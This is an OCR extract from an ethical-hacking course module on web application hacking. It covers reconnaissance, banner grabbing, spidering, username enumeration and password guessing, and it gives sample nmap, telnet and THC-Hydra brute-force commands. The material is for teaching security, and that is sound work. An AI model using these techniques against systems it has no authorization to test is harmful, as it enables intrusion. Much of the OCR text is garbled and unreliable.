Q Local Identity: This specifies the server Origin-Realm and Origin-Host.
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e Local Addresses: These specify the local IP addresses of the server that uses for

Diameter Capability Exchange messages (CER/CEA messages).

Q Self-Names: This field specifies realms to be considered as a local to the server, it means

that any requests sent for these realms will be treated as if there is no realm in the
specified request send by the server.
Wf Hidden Content Discovery

°een  Extract content and functionality that is not directly linked or reachable from the main

visible content.
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FootprintwW eb Infrastructure

Server Discovery

[ ] Server discovery gives inform ation aboutthe location of servers and ensures thatthe target

server is alive on Internet

Whois lookup utility gives information about the IP address of web server and

DNS names
Whois Lookup Tools:

e http://www.tamos.com e http://www.whois.net

s http://netcraft.com G http://www.dnsstuff.com

DNS Interrogation provides information about the location and type of servers
DNS Interrogation Tools:

9 http://www.dnsstuff.com 8 http://le-dns.org

« http://network-tools.com » http://www.domaintools.com

Port Scanning attempts to connect to a particular set of TCP or UDP ports to find out

the service that exists on the server
Port Scanning Tools:

9 Nmap 0 WhatsUp PortScannerTool
1 8 NetScan Tools Pro 6 Hping
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Footprint Web Infrastructure: Server Discovery

In order to footprint aweb infrastructure, first you need to discover the active servers
on the internet. Server discovery gives information about the location of active servers on the
Internet. The three techniques, namely whois lookup, DNS interrogation, and port scanning,

help in discovering the active servers and their associated information.

W hois Lookup

f3:

Whois Lookup is atool that allows you to gather information about a domain with the
help of DNS and WHOIS queries. This produces the result in the form of a HTML
report. It is a utility that gives information about the IP address of the web server and DNS

names. Some of the Whois Lookup Tools are:
e http://www.tamos.com
e http://netcraft.com
e  http://www.whois.net
0  http://www.dnsstuff.com
DNS Interrogation

0 DNS interrogation is a distributed database that is used by varied organizations to
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connect their IP addresses with the respective hostnames and vice versa. When the DNS is
improperly connected, then it is very easy to exploit it and gather required information for
launching the attack on the target organization. This also provides information about the

location and type of servers. Some of the tools are:
©  http://www.dnsstuff.com
© http://network-tools.com
© http://e-dns.org
© http://www.domaintools.com
m m ®m Port Scanning

B U I Port scanning is a process of scanning the system ports to recognize the open doors. If
any unused open port is recognized by an attacker, then he or she can intrude into
the system by exploiting it. This method attempts to connect to a particular set of TCP or UDP

ports to find out the service that exists on the server. Some of the tools are:
© Nmap
© NetScan Tools Pro

© WhatsUp Portscanner Tool

©

Hping
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FootprintW eb Infrastructure

S ervice Discovery
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Footprint Web Infrastructure: Service Discovery

Service discovery finds the services running on web servers that can be exploited as
attack paths for web application hacking. Service discovery searches a targeted application
environment for loads and services automatically. The targeted server has to be scanned

thoroughly so that common ports used by web servers for different services can be identified.

The table that follows shows the list of common ports used by web servers and the respective

HTTP services:

Port Typical HTTP Services
80 World Wide Web standard port
81 Alternate WW W
88 Kerberos
443 SSL (https)
900 IBM Websphere administration client
2301 Compaq Insight Manager
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2381 Compagq Insight Manager over SSL

4242 Microsoft Application Center Remote management
7001 BEA Weblogic

7002 BEA Weblogic over SSL

7070 Sun Java Web Server over SSL

8000 Alternate Web server, or Web cache

8001 Alternate Web server or management

8005 Apache Tomcat

9090 Sun Java Web Server admin module

10000 Netscape Administrator interface

TABLE 13.1: Service Discovery

You can discover the services with the help of tools such as Nmap, NetScan Tools Pro, and

Sandcat Browser.
Source: http://nmap.org

Nmap is a scanner that is used to find information about systems and services on a network and
to construct a map of the network. It can also define different services running on the web
server and give detailed information about the remote computers.

Zenmap L:i'h]

Scan Tools Profile Help
Target:  google.com Scan  Cancel
Command: nmap =T4 -A -v -PE -PS22.25.80 -PA21.23.80.3389 google.com

Nmap Output Ports/Host! Topology | Host Details |Scarsj

< Port * Protocol * State < Service * Version

OS < Host
.9  google.com (74.12 # 0 wp open http
# 113  tcp closed ident
C A 43  tcp open https
Filter Hosts
FIGURE 13.32: Zenmap Tool screenshot
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Footprint W eb Infrastructure: Server

CEH

Ild entification/Banner Grabbing utiivd ilhiul IV

Analyze the server response headerfield to identify the make, model, and version

of the web serversoftware

This inform ation helps attackers to selectthe exploits from vulnerability databases to
attack aweb serverand applications

C:\telnet ww. juggyboy.com 80 HEAD / HTTP/1.0

Serveridentified
as Microsoft IIS

megtlon to hott lost.

Banner grabbing tools:

H 1. Telnet 2. Netcat 3. ID Serve 4. Netcraft

Copyright © by E&Cauicfl. All Rights Reserved. Reproduction is Strictly Prohibited.

n Footprint Web Infrastructure: Server

Id entification/Banner Grabbing

Through banner grabbing, an attacker identifies brand and/or version of a server, an operating
system, or an application. Attackers analyze the server response header field to identify the
make, model, and version of the web server software. This information helps attackers to
select the exploits from vulnerability databases to attack a web server and applications.

C :\telnet www.juggyboy.com 80 HEAD / HTTP/1.0
A banner can be grabbed with the help of tools such as:
© Telnet
Q Netcat
e |ID Serve

© Netcraft

These tools make banner grabbing and analysis an easy task.
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HITR/1.1 200 oK ~ Server identified
Date: Thu. 07 Jul 2005 13:08:16 GMT i
Content-Length: 1270 as Microsoft IS

Content-Type: text/html
sit-CookieT°ASPSESsfONIDQCQTCQBQ=PBLPKEKBNDGKOFFIPOLHPLNE; path~/

Via: 1.1 Application and Content Networking System Software 5.1.15
Connection: Close

Connection to host lost.
C:\>

FIGURE 13.33: Server Identification/Banner Grabbing
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FootprintW eb Infrastructure: Hidden

CEH

Content Discovery

J Discover the hidden content and functionality that is not reachable from the main

visible content to exploit user privileges within the application

J Itallows an attacker to recover backup copies of live files, configuration files and log
files containing sensitive data, backup archives containing snapshots of files within

the web root, new functionality which is not linked to the main application, etc.

Attacker-Directed

Spidering

© Web spiders automatically Attacker accesses all of the e Use automation tools such
discover the hidden application's functionality as Burp suite to make
contentand functionality and uses an intercepting huge numbers of requests
by parsing HTML form and proxy to monitor all requests to the web server in order
client-side JavaScript and responses to guess the names or
requests and responses The intercepting proxy parses identifiers of hidden

all of the application's content and functionality

© Web Spidering Tools:
P 9 responses and reports the

S OWASP Zed Attack Proxy content and functionality it

S Burp Spider discovers

Tool: OWASP Zed Attack

- WebScarab
Proxy
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Footprint Web Infrastructure: Hidden Content
Discovery

Crucial information related to the business such as prices of products, discounts, login IDs, and
passwords is kept secret. This information is usually not visible to outsiders. This information is
usually stored in hidden form fields. Discover the hidden content and functionality that is not
reachable from the main visible content to exploit user privileges within the application. This
allows an attacker to recover backup copies of live files, configuration files, and log files
containing sensitive data, backup archives containing snapshots of files within the web root,
new functionality that is not linked to the main application, etc. These hidden fields can be

determined with the help of three techniques. They are:
Web Spidering

Web spiders automatically discover hidden content and functionality by parsing HTML

forms and client-side JavaScript requests and responses.

Tools that can be used to discover the hidden content by means of web spidering include:
Q OWASP Zed Attack Proxy
Q Burp Spider

© WebScarab
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Attacker-Directed Spidering

An attacker accesses all of the application's functionality and uses an intercepting
proxy to monitor all requests and responses. The intercepting proxy parses all of the

application's responses and reports the content and functionality it discovers.

The same tool used for web spidering, i.e., OWASP Zed Attack Proxy can also be used for

attacker-directed spidering.

Brute Forcing

Brute forcing is a very popular and easy method to attack web servers. Use
automation tools such as Burp Suite to make large numbers of requests to the web

server in order to guess the names or identifiers of hidden content and functionality.
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NN

W eb

Configure yourweb browserto use Burp as a local proxy

Access the entire targetapplication visiting every single
link/URL possible, and submit all the application forms
available

Browse the targetapplication with JavaScript enabled and
disabled, and with cookies enabled and disabled

burp suite free edition v1.4.01

—leeT  repeater | sequencer ' aecoaer comparer | options | alpris

[ po3itons  payloads ' options |

2 payweq poamona lendin 46*.
OCT /tb 2 IdH AW 'r *

H>9t t31.ww.blng.net

Proxy-ccnnccciotu icecp-«1lm

Uw-A«jnt: MoxtllA/S.a (Utnclowx NT t.2; IfOWM)
AppleVebK1c/S39.4 iKITOIL, qLike Cecko)
rh;one‘A:)\)/\*l':g.C%a Satards37.4

ks ot
http://*»w .bing.cmcV anmi-" itoccM g-bi id-«CCCT7E'70
6SCICD3 ASD2EABEO 1PE0S7SD12S54tP ORN-10PRBA
Accept-Encoding: gz1ip.dellate,9dcH

| 0matches

S pidering U sin

Exam 312-0certified Ethical Hacker

g Burp Suite C EH

QI itfdd Nin

Check the site map generated by the Burp
proxy, and identify any hidden application
content or functions

Continue these steps recursively until no
further contentor functionality is
identified

intruder attack 1

resurs  ttrset j po3mons payioags | options
comment
Ireouesr

VEOSOVR V0 ) I3

loauflit  rssponso |

w r-mi milei K

%(hﬁimﬂmﬁwoﬂém:ﬁ uflid-I, I HTTP/L |

Pxoxy-Conntction: kwp-««l.Lve

%jﬁ%sﬁm i sliarssr
th

h ttp :/1v IfTE.Mng.co»/ Un*y«s/ical:ch?q-blk*i11id” «CCCT«70<SCICPIAIP:SA SS9<)
5ir1C575D1:594*POPH-rcrRBA

Accvpt-Zncodisvg: cjzip, d*flute, aclch

Accept-languafre: en-US, en: g8.0"

iccepc-cnatrsec: JSO-88SS-,ucg-8;«r=0.7, ;q*0.3

http://www.portswigger.net
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W eb Spidering Using Burp Suite

Source: http://www.portswiRger.net

Burp Suite is an integrated platform for attacking web applications.It contains all the Burp tools

with numerous interfaces between them, designed to facilitate and speedup the

attacking an application.

process of

Burp Suite allows you to combine manual and automated techniques to enumerate, analyze,

scan, attack, and exploit web applications. The various Burp tools work together effectively to

share information and allow findings identified within one tool to form the basis of an attack

using another.

Web spidereing using Burp Suite is done in the following manner:

1.

2.

Configure your web browser to use Burp as a local proxy

Access the entire target application visiting every single link/URL possible, and submit all

the application forms available

Browse the target application with JavaScript enabled and disabled, and with cookies

enabled and disabled

Check the site map generated by the Burp proxy, and identify any hidden application

content or functions
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5. Continue these steps recursively until no further content or functionality is identified

burp suite free edition v1.4.01
burp intruder repeater window about

intruder | repeater | sequencer | decoder j comparer ' options | alerts
spider scarer

£17 *|

f target 1 positions | payloads [ options

attack type sniper

2 payload positions length: 465

GET /th?id=S1+4587661500482231Sipid=51+15 HTTP/1.1

Host: ts4.mm.bing.net

Proxy-Connection: keep-alive

User-Agent: Hozilla/5.0 (Vindovs NT 6.2; ¥0V64) ciear§
AppleVebKit/537.4 (KHTML, like Gecko)

Chrome/22.0.1229.94 Safari/537.4

auto §
Accept: */*
Referer:
http://vvv.bing.com/images/3earch?q“bikes4id*6CCC7670 refresh
65C1CD3A9D2EABE86351FE8575D12594SFORM™ IQFRBA
Accept-Encoding: gzip,deflate, sdch clear
J 0 matches
intruder attack 1
attack save columns
Filter showing all items
results target ' positions [ payloads ' options
request  position payload datus error time... length comment
10443 baseline request
Web Service Attack 400 O ] 193
Web Service Attack. 200 n n 10443

request [ response

raw 7| params | headers ] hex

GET /th?icl-1.4587661500482231& pid-1.1 HTTP/1.1

Host: ts4.mm.bing.net

Ptoxy-Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.2; ¥0¥64) AppleWebKit/537.4
(KHTML, like Gecko) Chroroe/22.0.1229.94 Safari/537.4

Accept: */*

Referer:

http ://vvv.bing.com/images/search?q=bikesSid=6CCC767065CICD3A9D2EABE863
51FE8575D12S94SFORM=IQFP.BA

Accept-Encocling: gzip,deflate,sdch

Accept-Language: en-US,en;q=0.8

Accept-CBﬁirse: 1ISO-8859-1,utf-8;q=0.7, *;c[“0.3

r AN« -

@Zhzhzh:

inished

FIGURE 13.34: Server Identification/Banner Grabbing
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W eb S pidering Using M ozenda
CEH

W eb Agent Builder

J Mozenda Web Agent
Builder crawls through
awebsite and harvests

pages of inform ation
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W eb Spidering Using M ozenda Web Agent Builder

Source: http:// www.mozenda.com

Mozenda Web Agent Builder is a Windows application used to build your data extraction
project. It crawls through a website and harvests pages of information. Web Agent Builder is a
tool suite that includes an intuitive Ul and a browser-based instruction set. Setting up your
crawler is as simple as pointing and clicking to navigate pages and capture the information you

want.
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(m occnda WebAgentl (not saved) - Mocenda Web Agent Ouildci -D N
Me & 0 IcotAgent A A hrtp-wxw’ becouyren’(*» A*mung..-ivw-cr«-/-;A--M)K7 © » O © m htip toplc... s o-cip
New Action Share18' Pii «t r
Use the tools below to peifoint actions on tlie cauc
Cick an item Writ* 0 Rovtew
Of Capture text or image
Choose son order  Dete: Newest
0 Setuser input
Create a list of items
Selected Action rg
Modify the behavior of the selected action iv i
PG o Reirureera
y View action properties Picture Quolty 50
Sound Quatty n ; &0
& Change item location
Features so
Whet's greet about it WASVERY EASYTC SET UP, REMOTEEASYTO USE FOR FEATURES
*GREAT =>CT1.RE AMD FEATJRES VERY USER FREMDLY. EASY TO SETUP
0 Would you recommend this productto afriend?! yes A
Use the tools above to add a new action to this page
modify the behavior ofthe currently selected action WasTtt r»/ew reepU? res Ho Repor nappra3nace review
Siere J-isF.0Bft.
Page L
Begin Rem List «Item Namelist Customer Retina csea. U
Capture Item Name
Capture Rice furryPictire CIWO'C
capture. Rating
Capture  Model
Click Item
Fnauit RuanRirg Ry Vi loregomerd
EZH W getantit WSIRES. ¥
Wifsgegtdmntit G Sudt. N
Begin Item list « Review Ratingl. m vmmm't mslv E
Capture » Review Rating p . .
Contre Revien )] Wiisgetamtit gulpice . ¥
Capture Would recommend
v2le 2> /drv[4) 1dirl 1 |2/ toedynjytr[')/
FIGURE 13.35: Web Spidering Using Mozenda Web Agent Builder
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Attack Attack Attack Session Attack Attack
Web Servers Authentication Management Data Connectivity Web Services
Mechanism Mechanism
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Web App Hacking M ethodology

Attack W eb Servers

Once you conduct full scope footprinting on web infrastructure, analyze the gathered
information to find the vulnerabilities that can be exploited to launch attacks on web servers.
Then attempt to attack web servers using various techniques available. Each and every website
or web application is associated with a web server that has code for serving a website or web
application. The attacker exploits the vulnerabilities in the code and launches the attacks on
the web server. Detailed information about hacking web servers will be explained on the

following slides.
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Hacking W ebservers

—5. Once the attacker identifies the web server environment, attackers scan for known
vulnerabilities by using a web server vulnerability scanner. Vulnerability scanning helps the
attacker to launch the attack easily by identifying the exploitable vulnerabilities present on the
web server. Once the attacker gathers all the potential vulnerabilities, he or she tries to exploit
them with the help of various attack techniques to compromise the web server. In order to stop
the web server from serving legitimate users or clients, the attacker launches a DoS attack
against the web server. You can launch attacks on the vulnerable web server with the help of

tools such as UrlScan, Nikto, Nessus, Acunetix Web Vulnerability Scanner, Weblnspect, etc.
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W eb Server Hacking Tool:

CEH

W eblnspect

J Weblnspect identifies security
vulnerabilities in the web
applications

J It runs interactive scans using

a sophisticated user interface

J  Attacker can exploit identified t |l7l
vulnerabilities to carry out ® " oy
web services attacks - * WO u

https://download.hpsmartupdate.com
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W ebserver Hacking Tool: W eblnspect
Source: https://download.hpsmartupdate.com

Weblnspect software is web application security assessment software designed to thoroughly
analyze today's complex web applications. It delivers fast scanning capabilities, broad
assessment coverage, and accurate web application scanning results. It identifies security
vulnerabilities that are undetectable by traditional scanners. Attackers can exploit the

identified vulnerabilities for launching web services attacks.
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FIGURE 13.36: Weblnspect Tool Screensot
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Web Servers Authentication Management Data Connectivity

Web Services
Mechanism Mechanism
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Web App Hacking M ethodology
Analyze W eb Applications

Analyzing the web application helps you in identifying different vulnerable points that can be
exploitable by the attacker for compromising the web application. Detailed information about

analyzing a web application and identifying the entry points to break into the web application
will be discussed on the following slides.
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Analyze Web Applications

M((

[ ] Analyze the active application's functionality and technologies in order to identify the attack

surfaces that it exposes

Identify Entry Points for Identify Server-Side
User Input Functionality
Observe the applications
Review the generated HTTP .
revealed to the client to
request to identify the

. ) identify the server-side
input entry points

structure and functionality

Identify Server-Side Map the Attack
Technologies Surface
Fingerprint the technologies Identify the various attack surfaces
active on the server using uncovered by the applications and
various fingerprint techniques the vulnerabilities that are associated
such as HTTP fingerprinting with each one
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™ Analyze Web Applications

---------- Web applications have various vulnerabilities. First, basic knowledge related to the
web application has to be acquired by the attacker and then analyze the active application's
functionality and technologies in order to identify the attack surfaces that it exposes.

Identify Entry Points for User Input

The entry point of an application serves as an entry point for attacks; these entry points include
the front-end web application that listens for HTTP requests. Review the generated HTTP

request to identify the user input entry points.
Identify Server-side Functionality

Server-side functionality refers to the ability of a server that executes programs on output web
pages. Those are scripts that reside and also allow running interactive web pages or websites
on particular web servers. Observe the applications revealed to the client to identify the server-
side structure and functionality.

Identify Server-side Technologies

Server-side technologies or server-side scripting refers to the dynamic generation of web pages
that are served by the web servers, as they are opposed to static web pages that are in the
storage of the server and served to web browsers. Fingerprint the technologies active on the
server using various fingerprint techniques such as HTTP fingerprinting.
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Map the Attack Surface

Identify the various attack surfaces uncovered by the applications and the vulnerabilities that
are associated with each one.
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Analyze Web Applications:

ld entify Entry Points for U&er Input

Examine URL, HTTP Header,

query string parameters, POST

data, and cookies to Identify HTTP header parameters

determine all user input fields that can be processed by the
application as user inputs such as
User-Agent, Referer, Accept,
Accept-Language, and Host headers

Determine URL encoding
techniques and other

. Tools used:
encryption measures
implemented to secure the « Burp Suite
web traffic such as SSL » HttPrint

0 WebScarab
U OWASP Zed Attack Proxy
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Analyze W eb Applications: Identify Entry Points for

User Input

Q During the web application analysis, attackers identify entry points for user input so that
they can understand the way the web application accepts or handles the user input.
Then the attacker tries to find the vulnerabilities present in input mechanism and tries
to exploit them so that attacker can associate with or gain access to the web
application. Examine URL, HTTP Header, query string parameters, POST data, and
cookies to determine all user input fields.

0 Identify HTTP header parameters that can be processed by the application as user

inputs such as User-Agent, Referrer, Accept, Accept-Language, and Host headers.

0 Determine URL encoding techniques and other encryption measures implemented to
secure the web traffic such as SSL.

The tools used to analyze web applications to identify entry points for user input include Burp
Suite, HttPrint, WebScarab, OWASP Zed Attack Proxy, etc.
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Analyze Web Applications:

Server-Side Technologies

Perform a detailed server Examine URLs for file
fingerprinting, analyze
HTTP headers and HTML
source code to identify

server side technologies

extensions, directories,
and other identification
information

MicrosafMIS/6 0 Microxaft-11SJfl 0

Apache;2 0.32 IFedora)

SunONE Webserver 0 0, Net&c«*pe-Erde<prte/4 1

Micro*oft-11S'6.0.0

Examine the
error page messages

Exam 312-0certified Ethical Hacker

Identify

Examine session tokens:
a JSESSIONID - Java

« ASPSESSIONID-IIS
server

« ASP.NET_Sessionld -
ASP.NET

» PHPSESSID - PHP

http://juggyboy.comy8rror.aspx

Oops!

Server Error in /ReportServer' Application.
e .

D

i dak
fraefo oeirfanEi treararatiweeit
mgméjrﬁlealh ok
\asalfanatio Moot Nt Fenenok\asan

403819 ANt a3 i03BIA1

'> Server Side Technologies <-
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Analyze W eb Applications:
Technologies
Source: http://net-square.com

After

technologies.

identifying the entry points through user inputs,

The server-side technologies can be identified as follows:

ld entify Server-Side

attackers try to identify server-side

1. Perform a detailed server fingerprinting, analyze HTTP headers and HTML source code

to identify server side technologies

Examine URLs for file extensions, directories, and other identification information

Examine the error page messages
Examine session tokens:

e JSESSION ID - Java

© ASPSESSION ID-IIS server

e ASP.NET_SessionID-ASP.NET

PHPSESS ID-PHP

D
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. . . hei/fjueevi>0y.com/error.aspx
web server fingerprinting report
host port banner reported banner deduced e e s i
www airsahara net 80 Microsoft-11S/6 0 Microsoft-11S/6.0 Lo 1
easicoastfight com Apache/2.0.52 (Fedora) Apache/2.0.x Vo1 4 Server Error in */ReportServer’ Application
www redhat.com 43~y Apache Apache/1.3.27 v n .
Couldnotfind the permission setnamed 'ASP.Net'.
www cnn com ~ Apache Apache/2 0.x 1 11 o . .
chaseonjne.chase.com 443 7 JPMC1.0 SunONE Webserver 6.0. Netscape-Emerpnse/4.1 — i DESC”PUDH‘ An unhanded exception occurred dgrlng the
foundst 0 WebSTAR Apache/2.0 execution ofthe current web request. Please review the stack
wwwioundstone.com e pachefz.0.x v ! (. trace for more information about the error and where it
wwwwalmart.com £ Microsoft-11S/6 0.0 Apache/2.0.x v 1 11 originated in the code.
- Yes we are using Microsoft-1S/4.0. M»crosoft-11S5.0' ASP.NET. Microsoft-
ffuu por30sc/ware com 80 ServerMaskl 11S/5.1

Version Information: Microsoft Net Framework Version
. . ' 4.0.30319; ASP.Net Version 4.0.30319.1
;-< Server Side Technologies >

FIGURE 13.37: Identify Server-Side Technologies
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Analyze W eb Applications: |Identify s* cim

Server-Side Functionality Hi —>bl

Examine pagesource and URLs and make an educated guess to determine the
internal structure and functionality of web applications

GNU Wget http://www. gnu.org
© Tools iiae Teleport Pro http://www. tenmax. com

used:
BlackWidow http://softbytelabs.com

Examine URL

SSL ASPX Platform
A

https://www.juggyboy.com/customers.aspx?name=existing% 2 0clients& isActive=
OSstartDate=20%2FI11% 2F2010SendDate=20%2F05% 2F2011&showBy=name
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Analyze W eb Applications: Identify Server-side
Functionality

Once the server-side technologies are determined, identify the server-side functionality. This
helps you to find the potential vulnerabilities in server-side functionalities. Examine page

source and URLs and make an educated guess to determine the internal structure and

functionality of web applications.

Tools Used:

0 % W get
—_— Source: http://www.gnu.org

GNU Wget is for retrieving files using HTTP, HTTPS, and FTP, the most widely-used Internet
protocols. It is a non-interactive command-line tool, so it can be called from scripts, cron jobs,

terminals without X-Windows support, etc.
Teleport Pro

Source: http:// www.tenmax.com

Teleport Pro is an all-purpose high-speed tool for getting data from the Internet. Launch up to

ten simultaneous retrieval threads, access password-protected sites, filter files by size and
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type, and search for keywords. Capable of reading HTML 4.0, CSS 2.0, and DHTML, T Teleport
can find all files available on all websites by means of web spidering with server-side image map
exploration, automatic dial-up connecting, Java applet support, variable exploration depths,

project scheduling, and relinking abilities.

BlackW idow

"

Source: http://softbvtelabs.com

BlackWidow scans a site and creates a complete profile of the site's structure, files, external
links and even link errors. BlackWidow will download all file types such as pictures and images,
audio and MP3, videos, documents, ZIP, programs, CSS, Macromedia Flash, .pdf, PHP, CGI, HTM
to MIME types from any websites. Download video and save as many different video formats,
such as YouTube, MySpace, Google, MKV, MPEG, AVI, DivX, XviD, MP4, 3GP, WMV, ASF, MOV,

QT, VOB, etc. It can now be controlled programmatically using the built-in Script Interpreter.

Examine URL

ssL ASPX Platform
A A

https://www.juggyboy.com/customers.aspx?name=existing%?20clients&isActive=
O&startDate=20%2FI11%2F2010SendDate=20%2F05%2F2011&showBy=name

\Y

-> Database Column <em

FIGURE 13.38: BlackW idow

If a page URL starts with https instead of http, then it is known as a SLL certified page. If a page
contains an .aspx extension, chances are that the application is written using ASP.NET. If the
query string has a parameter named showBY, then you can assume that the application is using

a database and displays the data by that value.
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A nalyze W eb Applications: M a

CEH

th e Attack Surface unfadithiul - 1UEM
Inform ation A tta c k Inform ation A tta c k
|
NN MNMRMMBPM' " §E E B B B EEEETSH
. X L Injection Attack, o Privilege Escalation,
Client-Side Validation X X Injection Attack
Authentication Attack Access Controls
X SQL Injection, Data Cleartext Data Theft, Session
Database Interaction o S
Leakage Communication Hijacking
File Upload and . .
Directory Traversal Error Message Inform ation Leakage
Download
Display of X L . . . . .
Cross-Site Scripting Email Interaction Email Injection

User-Supplied Data

Redirection, Header

Dynamic Redirects . Application Codes Buffer Overflows
Injection
Login Username Enumeration, Third-Party Known Vulnerabilities
Password Brute-Force Application Exploitation
. Session Hijacking, Known Vulnerabilities
Session State . . Web Server Software o
Session Fixation Exploitation
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Analyze W eb Applications: M ap the Attack Surface

There are various entry points for attackers to compromise the network, so proper
analysis of the attack surface must be done. The mapping of the attack surface includes
thorough checking of possible vulnerabilities to launch the attack. The following are the
various factors through which an attacker collects the information and plans the kind of attack

to be launched.
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Inform ation

Client-Side Validation

Database Interaction

File Upload and
Download

Display of
User-Supplied Data

Dynamic Redirects

Login

Session State
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Injection Attack,
Authentication Attack

SQL Injection, Data
Leakage

Directory Traversal

Cross-Site Scripting

Redirection, Header
Injection

Username Enumeration,
Password Brute-Force

Session Hijacking,
Session Fixation

Inform ation
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A tta c k

"mMmMmMmpPpRURaRPMaPme = @ @ @ B B BN

Injection Attack

Cleartext
Communication

Error Message

Email Interaction

Application Codes

Third-Party
Application

Web Server Software

FIGURE 13.39: Map the Attack Surface
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Attack Attack Attack Session Attack Attack
Web Servers Authentication Management Data Connectivity Web Services
Mechanism Mechanism

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

Web App Hacking M ethodology

In web applications, the authentication functionality has many design loopholes such
as bad passwords, i.e. short or blank, common dictionary words or names, passwords set the
same as user name, and those still set to default values. The attacker can exploit the
vulnerabilities in the authentication mechanism for gaining access to the web application or
network. The various threats that exploit the weaknesses in the authentication mechanism
include network eavesdropping, brute force attacks, dictionary attacks, cookie replay attacks,

credential theft, etc.
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A ttack A uthentication

CEH

M e chanism

Attack Authentication M echanism

u Most of the authentication mechanisms used by web applications have design flaws. If
an attacker can identify those design flaws, he or she can easily exploit the flaws and gain
unauthorized access. The design flaws include failing to check password strength, insecure
transportation of credentials over the Internet, etc. Web applications usually authenticate their
clients or users based on a combination of user name and password. Hence, the authentication

mechanism attack involves identifying and exploiting the user name and passwords.

User Name Enumeration

User names can be enumerated in two ways; one is verbose failure messages and the

other is predictable user names.
Verbose Failure Message

— ' In atypical login system, the user is required to enter two pieces of information, that
is, user name and password. In some cases, an application will ask for some more
information. If the user is trying to log in and fails, then it can be inferred that at least one of
the pieces of the information that is provided by the user is incorrect or inconsistent with the
other information provided by the user. The application discloses that particular information
that is provided by the user was incorrect or inconsistent; it will be providing ground for an

attacker to exploit the application.
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Example:
© Account <username> not found
© The password provided incorrect
© Account <username> has been locked out

Predictable User Names

Exam 312-0certified Ethical Hacker

Some of the applications automatically generate account user names according to

some predictable sequence. This makes it very easy way for the attacker who can
discern the sequence for potential exhaustive list of all valid user names.

Password Attacks
Passwords are cracked based on:
© Password functionality exploits
© Password guessing
© Brute-force attacks
Session Attacks

The following are the

authentication mechanism:
© Session prediction
© Session brute-forcing
© Session poisoning

Cookie Exploitation

types of session attacks employed

by the attacker to attack the

The following are the types of cookie exploitation attacks:

© Cookie poisoning
© Cookie sniffing

© Cookie replay
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UerNenmeEuneaion GH

Urtifwd  ItliKal - IUilwt

Iflogin error states which partofthe user name and password is notcorrect, guess

the users ofthe application using the trial-and-error m ethod

Note: User name enumeration from verbose error messages will fail if the application implements accountlockout policy

i.e., locks accountafter acertain number of failed login attempts
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User Name Enum eration
Source: https://lwordpress.com

User name enumeration helps in guessing login IDs and passwords of users. If the login error
states which part of the user name and password are not correct, guess the users of the

application using the trial-and-error method.

Look at the following picture that shows enumerating user names from verbose failure

messages:
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WordPress.com WordPress.com

ERROR: The password you entered (or the email or
username nmmatthews is incorrect Lost vour
password?

ERROR Invalid email or username Lost your

Email or username .
Email or Username

rini.matthews rinimatthews

Password
Password
O Remember Me Log In O Remember Me L
og In
Register | Lost your password?
Register | Lost your password?
— Back to WordPress com
- BacMo WordPress com
Username rini.matthews does not exist Username successfully enumerated to rinimatthews

FIGURE 13.40: User Name Enumeration

Note: User name enumeration from verbose error messages will fail if the application
implements account lockout policy, i.e., locks the account after a certain number of failed login
attempts.

Some applications automatically generate account user names based on a sequence (such as
userlO|I, userl02, etc.), and attackers can determine the sequence and enumerate valid user

names.
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Password Attacks: Password
Functionality Exploits

Determine password change functionality within the
application by spidering the application or creating a login
account

Try random strings for'Old Password’, 'New Password’, and
‘Confirm the New Password' fields and analyze errors to
identify vulnerabilities in password change functionality

'Forgot Password' features generally present a challenge to
the user; if the number of attempts is not limited, attacker
can guess the challenge answer successfully with the help of

socialengineering

Applications may also send a unique recovery URL or existing
password to an email address specified by the attacker if the
challenge is solved

"Remember Me" functions are implemented using a simple
persistent cookie, such as RememberUser=jason or a
persistent session identifier such as
RememberUser=ABY 112010

Attackers can use an enumerated user name or predict the
session identifier to bypass authentication mechanisms
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Password Attacks: Password Functionality E xploits

Password attacks are the techniques used by the attacker for discovering passwords.
Attackers exploit the password functionality so that they can bypass the authentication

mechanism.
Password Changing

Determine password change functionality within the application by spidering the
application or creating a login account. Try random strings for Old Password, New
Password, and Confirm the New Password fields and analyze errors to identify vulnerabilities in

password change functionality.
Password Recovery

Noe— Forgot Password features generally present a challenge to the user; if the number of
attempts is not limited, attackers can guess the challenge answer successfully with the help of
social engineering. Applications may also send a unique recovery URL or existing password to
an email address specified by the attacker if the challenge is solved.

Remember Me Exploit

Remember Me functions are implemented using a simple persistent cookie, such as

RememberUser=jason or a persistent session identifier such as RememberUser=ABY112010.

Module 13 Page 1860 Ethical Hacking and Countermeasures Copyright © by EC-COUNCil
All Rights Reserved. Reproduction is Strictly Prohibited.



Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Hacking Web Applications

Attackers can use an enumerated user name or predict the session identifier to bypass

authentication mechanisms.
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Password Attacks: Password
Guessing

Password Password
List r ‘ ! Dictionary Tools

Attackers create alist of possible Attackers can create a dictionary Password guessing can be
passwords using mostcommonly of all possible passwords using performed manually or using
used passwords, footprinting target tools such as Dictionary Maker automated tools such as Brutus,
and somalenglneenngtechAnlques, to perform dictionary attacks THC-Hydra,etc.
and try each password until the
correct password is discovered
% 10uit *lout
Target Pa3swcrdc |Tuning | Cpeciffc | Gtart j Talg«l Passwerts [Tun.ng [Opecific Gtart |
Username Outojt
(- Usemame test Hydra v4 * (c) 5004 by van Mauser/THC «use allo/APd only for legal purposes
Hyd'a (tvto . wwa Ihc erg) starling at 2004-05-17 51:58:52
C Usomamo Lict [DA" AJ 32 tasks. 1 servers, 45380 login tries (1:1/p:45380). ~1418 tries pertask
tal agack vice ftp on port | |
c Password % E “ %:]Blﬁ%%m%
2 11[Tiphhost:, 127,0.0.1 lagjn: marc aswﬁ' ss
< Passviora List %Wl islu Cﬁ_)ﬁ éﬁiam ﬁé
<rlnlshed>
Color separated rile
r Leo Colon 6eporatod filo
P" Try login as password [7 Try empty passwac; Gave Output |

hydra 127.0.0.1 ftp -Itestuser -P tmp/pa3slist.1xt -e ns
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- m Password Attacks: Password Guessing
J1=S
- Password guessing is a method where an attacker guesses various passwords until he

or she gets the correct passwords by using the following methods: password list, password
dictionary, and various tools.

Attackers create a list of possible passwords using most commonly used passwords,
footprinting target and social engineering techniques, and trying each password until the

correct password is discovered.
Password Dictionary

m Attackers can create a dictionary of all possible passwords using tools such as

Dictionary Maker to perform dictionary attacks.
Tools Used for Password Guessing

Password guessing can be performed manually or using automated tools such as
WebCracker, Brutus, Burp Insider, THC-Hydra, etc.

THC-Hydra

